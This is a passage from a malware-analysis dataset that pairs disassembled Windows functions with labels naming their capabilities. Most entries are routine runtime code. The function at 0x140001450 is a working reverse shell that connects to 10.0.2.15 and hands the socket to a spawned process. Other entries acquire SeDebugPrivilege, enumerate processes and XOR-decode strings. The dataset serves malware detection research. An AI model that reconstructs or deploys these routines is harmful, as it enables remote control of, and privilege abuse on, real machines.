joyce8/EMBER2024-capa huggingface dataset:
Function at 0x24cae4420
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x24cd30c64]
mov r12, rcx
test ebx, ebx
jle 0x24cae4550
mov rax, qword [0x24cd30c68]
xor r9d, r9d
add rax, 0x18
nop dword [rax + rax]
mov r8, qword [rax]
cmp r8, r12
ja 0x24cae446b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp r12, r8
jb 0x24cae44f5
add r9d, 1
add rax, 0x28
cmp r9d, ebx
jne 0x24cae4450
mov rcx, r12
call fcn.24cae4c80
mov rsi, rax
test rax, rax
je 0x24cae4572
mov rax, qword [0x24cd30c68]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.24cae4db0
mov edx, dword [rsi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x24cd30c68]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.DLL_VirtualQuery]
test rax, rax
je 0x24cae4557
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x24cae44ee
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x24cae4500
add dword [0x24cd30c64], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x24cd30c68]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
test eax, eax
jne 0x24cae44ee
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.24cae43b0
nop dword [rax]
xor ebx, ebx
jmp 0x24cae4478
mov rax, qword [0x24cd30c68]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.24cae43b0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.24cae43b0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x24cae48d0
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r13, [0x24cd30ca0]
mov rcx, r13
call qword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov rbx, qword [0x24cd30c80]
test rbx, rbx
je 0x24cae492c
mov rdi, qword [sym.imp.KERNEL32.DLL_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.DLL_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x24cae4923
test r12, r12
je 0x24cae4923
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x24cae4908
mov rcx, r13
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop r12
pop r13
jmp qword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
Function at 0x24cae4c80
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x24ccc7850]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x24cae4ca0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x24cae4ca8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x24cae4ca0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x24cae4cf5
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x24cae4cec
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x24cae4ca0
add rax, 0x28
cmp rax, r9
jne 0x24cae4cd8
xor eax, eax
ret

Function at 0x24cae4d00
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x24ccc7850]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x24cae4d20
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x24cae4d28
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x24cae4d20
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x24cae4db0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x24ccc7850]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x24cae4dd0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x24cae4dd8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x140003dd0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x1401cac98]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140003dfd
xor eax, eax
jmp 0x140003f43
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140003e37
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140003e37
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140003f43
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140003f36
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140003e7a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140003e89
movsx ecx, dil
jmp 0x140003edd
lea r8, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rsp + 0x51]
lea r8, [rsp + 0x78]
mov qword [rsp + 0x30], r8
lea r8, [rsp + 0x58]
mov qword [rsp + 0x28], r8
lea r8, [rsp + 0x48]
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x50]
call qword [rax + 0x38]
test eax, eax
je 0x140003ef7
sub eax, 1
je 0x140003ef7
cmp eax, 2
jne 0x140003f36
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call fcn.14002585c
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140003f3b
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140003f24
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call fcn.140026148
cmp rsi, rax
jne 0x140003f36
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x140003f3b
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14000f490
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140004830
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x140004852
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x1400048cc
mov rdi, r14
mov rcx, rbx
call fcn.140003390
test rax, rax
jle 0x1400048a4
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.140020a10
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x1400048bc
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x1400048c4
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x140004866
sub r14, rdi
jmp 0x1400049af
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x1400048e3
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400048e5
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140004917
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.140020a10
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x1400049ac
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140004952
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x14000498d
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.140025be0
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x1400049ac
cmp rbp, rax
ja 0x140004960
test rbp, rbp
je 0x1400049ac
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.140025be0
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
Function at 0x140004a80
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov r14, r8
mov rbp, rdx
mov rdi, rcx
mov rbx, r8
je 0x140004b18
test r8, r8
jle 0x140004b10
nop word [rax + rax]
mov rcx, rdi
call fcn.140003620
test rax, rax
jle 0x140004aee
mov rcx, qword [rdi + 0x40]
cmp rbx, rax
mov rsi, rbx
mov rdx, rbp
cmovge rsi, rax
mov r8, rsi
mov rcx, qword [rcx]
call fcn.140020a10
mov rax, qword [rdi + 0x58]
sub rbx, rsi
sub dword [rax], esi
mov rcx, qword [rdi + 0x40]
movsxd rax, esi
add qword [rcx], rax
jmp 0x140004b08
mov rax, qword [rdi]
mov rcx, rdi
movzx edx, byte [rbp]
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140004b10
dec rbx
mov esi, 1
add rbp, rsi
test rbx, rbx
jg 0x140004ab0
sub r14, rbx
mov rax, r14
jmp 0x140004b96
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], r15
mov r9, qword [rax]
test r9, r9
je 0x140004b31
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140004b33
xor ecx, ecx
movsxd rsi, ecx
test r14, r14
jle 0x140004b8b
test ecx, ecx
jle 0x140004b6c
cmp r14, rsi
mov rcx, r9
cmovl rsi, r14
mov r8, rsi
call fcn.140020a10
mov rax, qword [rdi + 0x58]
add rbp, rsi
sub r14, rsi
sub dword [rax], esi
mov rcx, qword [rdi + 0x40]
movsxd rax, esi
add qword [rcx], rax
test r14, r14
jle 0x140004b8b
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140004b8b
mov r8, r14
mov edx, 1
mov rcx, rbp
call fcn.140026148
sub r14, rax
mov r15, qword [rsp + 0x40]
sub rbx, r14
mov rax, rbx
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x1400054c0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x170
mov rax, qword [0x1401cac98]
xor rax, rsp
mov qword [rsp + 0x160], rax
xor edx, edx
mov qword [rsp + 0x20], rcx
mov rbx, rcx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
xor edx, edx
lea rcx, [rsp + 0x34]
mov r8d, 0x12c
mov rdi, rax
call fcn.14001f770
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x130
mov rcx, rdi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x140005568
nop
mov r9, qword [rbx + 0x18]
mov r8, rbx
cmp r9, 0x10
jb 0x140005530
mov r8, qword [rbx]
lea rax, [rsp + 0x5c]
sub r8, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140005553
inc rax
test ecx, ecx
jne 0x140005540
test edx, edx
je 0x1400055d4
lea rdx, [rsp + 0x30]
mov rcx, rdi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140005520
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x14000559e
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140005599
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000560f
mov rcx, r8
call fcn.14000f4ec
xor eax, eax
mov byte [rbx], 0
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], 0
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.14000f490
mov rbx, qword [rsp + 0x188]
add rsp, 0x170
pop rdi
ret
mov edi, dword [rsp + 0x38]
cmp r9, 0x10
jb 0x14000560b
mov rcx, qword [rbx]
lea rdx, [r9 + 1]
cmp rdx, 0x1000
jb 0x140005606
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000560f
mov rcx, r8
call fcn.14000f4ec
mov eax, edi
jmp 0x1400055a0
call fcn.1400250fc
int3
Function at 0x140007500
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x78
mov rax, qword [0x1401cac98]
xor rax, rsp
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x48]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400075a9
lea r8, [rsp + 0x50]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rsp + 0x48]
test eax, eax
je 0x1400075f5
mov rax, qword [rsp + 0x50]
lea r8, [rsp + 0x58]
mov qword [rsp + 0x5c], rax
xor edx, edx
xor eax, eax
mov dword [rsp + 0x58], 1
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x64], 2
mov qword [rsp + 0x20], rax
lea r9d, [rax + 0x10]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x48]
test eax, eax
je 0x1400075cc
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14000f490
add rsp, 0x78
ret
lea rdx, str.Couldnt_open_process_token_
lea rcx, [rsp + 0x30]
call fcn.140006d80
lea rdx, [0x140062dd8]
lea rcx, [rsp + 0x30]
call fcn.14001fbb0
int3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.Couldnt_adjust_token_privileges_
lea rcx, [rsp + 0x30]
call fcn.140006d80
lea rdx, [0x140062dd8]
lea rcx, [rsp + 0x30]
call fcn.14001fbb0
int3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.Couldnt_look_up_privilege_value_
lea rcx, [rsp + 0x30]
call fcn.140006d80
lea rdx, [0x140062dd8]
lea rcx, [rsp + 0x30]
call fcn.14001fbb0
int3
Function at 0x140008dc0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov edx, 0xc8
movaps xmmword [rsp + 0x30], xmm6
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
movabs rax, 0xae3d6a24d8f1c824
movabs rbx, 0x17aa8424fb6dc824
mov qword [rsp + 0x20], rax
movabs rdi, 0xcb450f0ab987a94e
mov qword [rsp + 0x28], rbx
movdqa xmm6, xmmword [rsp + 0x20]
nop word [rax + rax]
mov qword [rsp + 0x20], rdi
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x28], rbx
movdqa xmm0, xmmword [rsp + 0x20]
pxor xmm0, xmm6
movdqa xmmword [rsp + 0x20], xmm0
call fcn.14000a710
test eax, eax
je 0x140008e10
call fcn.140008230
mov rbx, qword [rsp + 0x50]
xor eax, eax
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x40
pop rdi
ret
Function at 0x14000b2a0
Capabilities:
Hash data with md5

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0xf0
mov rax, qword [0x1401cac98]
xor rax, rsp
mov qword [rsp + 0xe0], rax
mov rsi, r8
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor edi, edi
mov dword [rsp + 0x20], edi
mov qword [rcx], rdi
mov qword [rcx + 0x10], rdi
mov qword [rcx + 0x18], 0xf
mov byte [rcx], dil
mov dword [rsp + 0x20], 1
mov dword [rsp + 0x38], 0x67452301
mov dword [rsp + 0x3c], 0xefcdab89
mov dword [rsp + 0x40], 0x98badcfe
mov dword [rsp + 0x44], 0x10325476
mov eax, r8d
and eax, 0x1fffffff
mov dword [rsp + 0x30], eax
mov eax, r8d
shr eax, 0x1d
mov dword [rsp + 0x34], eax
cmp r8d, 0x40
jb 0x14000b33c
and r8d, 0xffffffc0
lea rcx, [rsp + 0x30]
call fcn.14000a7d0
mov rdx, rax
and esi, 0x3f
mov r8d, esi
lea rcx, [rsp + 0x48]
call fcn.140020a10
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0xd0]
call fcn.14000a590
mov ebp, 0x57
movzx esi, byte [rsp + rdi + 0xd0]
movzx eax, sil
shr al, 4
mov ecx, 0x30
cmp al, 0xa
cmovae ecx, ebp
add cl, al
mov rdx, qword [rbx + 0x10]
mov r8, qword [rbx + 0x18]
cmp rdx, r8
jae 0x14000b3a6
lea rax, [rdx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp r8, 0x10
jb 0x14000b39c
mov rax, qword [rbx]
mov byte [rax + rdx], cl
mov byte [rax + rdx + 1], 0
jmp 0x14000b3b9
movzx r9d, cl
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, rbx
call fcn.140001ed0
and sil, 0xf
mov ecx, 0x30
cmp sil, 0xa
cmovae ecx, ebp
add cl, sil
mov rdx, qword [rbx + 0x10]
mov r8, qword [rbx + 0x18]
cmp rdx, r8
jae 0x14000b3f7
lea rax, [rdx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp r8, 0x10
jb 0x14000b3ed
mov rax, qword [rbx]
mov byte [rax + rdx], cl
mov byte [rax + rdx + 1], 0
jmp 0x14000b40a
movzx r9d, cl
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, rbx
call fcn.140001ed0
inc rdi
cmp rdi, 0x10
jb 0x14000b360
mov rax, rbx
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.14000f490
mov rbx, qword [rsp + 0x128]
add rsp, 0xf0
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000e23c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov rax, qword [0x1401cac98]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov edi, 0xffff
xor r14d, r14d
movzx esi, dx
mov rbx, rcx
cmp di, dx
jne 0x14000e280
movzx eax, r14w
jmp 0x14000e3b5
mov rax, qword [rcx + 0x40]
mov r8, qword [rax]
test r8, r8
je 0x14000e2bc
mov rax, qword [rcx + 0x58]
movsxd r9, dword [rax]
lea rdx, [r8 + r9*2]
cmp r8, rdx
jae 0x14000e2bc
lea ecx, [r9 - 1]
mov dword [rax], ecx
movzx eax, si
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 2]
mov qword [rdx], rcx
mov word [r8], si
jmp 0x14000e3b5
cmp qword [rcx + 0x80], r14
je 0x14000e3b2
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x14000e2fa
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub rdx, rcx
mov rax, qword [rbx + 0x38]
sar rdx, 1
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14000e323
movzx ecx, si
mov rdx, qword [rbx + 0x80]
call fcn.14002b87c
cmp ax, di
je 0x14000e3b2
movzx edi, si
jmp 0x14000e3b2
lea r8, [rbp + 0xf]
mov word [rbp + 7], si
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rbp + 9]
lea r8, [rbp + 0x3f]
mov qword [rsp + 0x30], r8
lea r8, [rbp + 0x1f]
mov rax, qword [rax + 0x38]
mov qword [rsp + 0x28], r8
lea r8, [rbp + 0x17]
mov qword [rsp + 0x20], r8
lea r8, [rbp + 7]
call qword [0x14003f380]
test eax, eax
je 0x14000e378
sub eax, 1
je 0x14000e378
cmp eax, 2
jne 0x14000e3b2
movzx ecx, word [rbp + 7]
jmp 0x14000e306
mov r14, qword [rbp + 0xf]
lea rax, [rbp + 0x1f]
sub r14, rax
je 0x14000e3a2
mov r9, qword [rbx + 0x80]
lea rcx, [rbp + 0x1f]
mov r8, r14
mov edx, 1
call fcn.140026148
cmp r14, rax
jne 0x14000e3b2
lea rax, [rbp + 7]
mov byte [rbx + 0x72], 1
cmp qword [rbp + 0x17], rax
cmovne di, si
movzx eax, di
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.14000f490
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret

Function at 0x140010348
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140010392
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140010392
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140010392
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140010392
cmp dword [rcx + 0x84], 0xe
jbe 0x140010392
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140010394
xor al, al
add rsp, 0x28
ret

Function at 0x14002c36c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14002c198
Function at 0x1400334cc
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
jne 0x1400331f2
call fcn.140025248
mov dword [rax], 0x16
call fcn.1400250dc
jmp 0x14003333d
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x14003333d
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x14003333d
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x140033221
lock or dword [rcx + 0x14], 0x10
jmp 0x14003333d
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x140033235
call fcn.140034564
mov esi, dword [rbx + 0x10]
cmp esi, 1
jne 0x140033245
mov rax, qword [rbx]
mov bpl, byte [rax]
jmp 0x140033248
xor bpl, bpl
mov rdi, qword [rbx + 8]
mov rcx, rbx
mov qword [rbx], rdi
call fcn.1400319ec
mov r8d, dword [rbx + 0x20]
mov ecx, eax
mov rdx, rdi
call fcn.140033df8
mov dword [rbx + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 2
jbe 0x14003332b
mov eax, dword [rbx + 0x14]
test al, 6
jne 0x1400332d9
mov rcx, rbx
call fcn.1400319ec
cmp eax, 0xffffffff
je 0x1400332c4
mov rcx, rbx
call fcn.1400319ec
cmp eax, 0xfffffffe
je 0x1400332c4
mov rcx, rbx
call fcn.1400319ec
movsxd rdi, eax
lea r14, [0x1401cfb80]
mov rcx, rbx
sar rdi, 6
call fcn.1400319ec
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rdi*8]
lea rdx, [rax + rcx*8]
jmp 0x1400332cb
lea rdx, [0x1401cb050]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x1400332d9
lock or dword [rbx + 0x14], 0x20
cmp dword [rbx + 0x20], 0x200
jne 0x1400332fd
mov eax, dword [rbx + 0x14]
shr eax, 6
test al, 1
je 0x1400332fd
mov eax, dword [rbx + 0x14]
shr eax, 8
test al, 1
jne 0x1400332fd
mov dword [rbx + 0x20], 0x1000
mov rax, qword [rbx]
cmp esi, 1
jne 0x14003331b
movzx ecx, byte [rax]
dec dword [rbx + 0x10]
shl cx, 8
movzx eax, bpl
or cx, ax
inc qword [rbx]
jmp 0x140033326
movzx ecx, word [rax]
add dword [rbx + 0x10], 0xfffffffe
add qword [rbx], 2
movzx eax, cx
jmp 0x140033342
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rbx + 0x14], eax
and dword [rbx + 0x10], 0
mov eax, 0xffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
jmp 0x1400331bc
Function at 0x140001450
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x2a0
lea rbp, [rsp + 0x80]
call fcn.1400016f0
lea rax, [rbp + 0x70]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x1400014a2
mov r8d, 0x1b
lea rax, str._ERROR__WSASturtup_failed._n
mov rdx, rax
mov ecx, 2
call sub.msvcrt.dll__write
mov eax, 1
jmp 0x1400015fe
mov dword [rbp + 0x21c], 0x38db
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0x210], rax
mov word [rbp + 0x60], 2
mov eax, dword [rbp + 0x21c]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x62], ax
lea rax, str.10.0.2.15
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x64], eax
lea rdx, [rbp + 0x60]
mov rax, qword [rbp + 0x210]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
je 0x14000155b
mov r8d, 0x18
lea rax, str._ERROR__connect_failed._n
mov rdx, rax
mov ecx, 2
call sub.msvcrt.dll__write
mov eax, 1
jmp 0x1400015fe
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp - 0x10], 0x68
mov dword [rbp + 0x2c], 0x100
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x50], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rax, [0x14000403f]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov eax, 0
add rsp, 0x2a0
pop rbp
ret

Function at 0x140001900
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002720
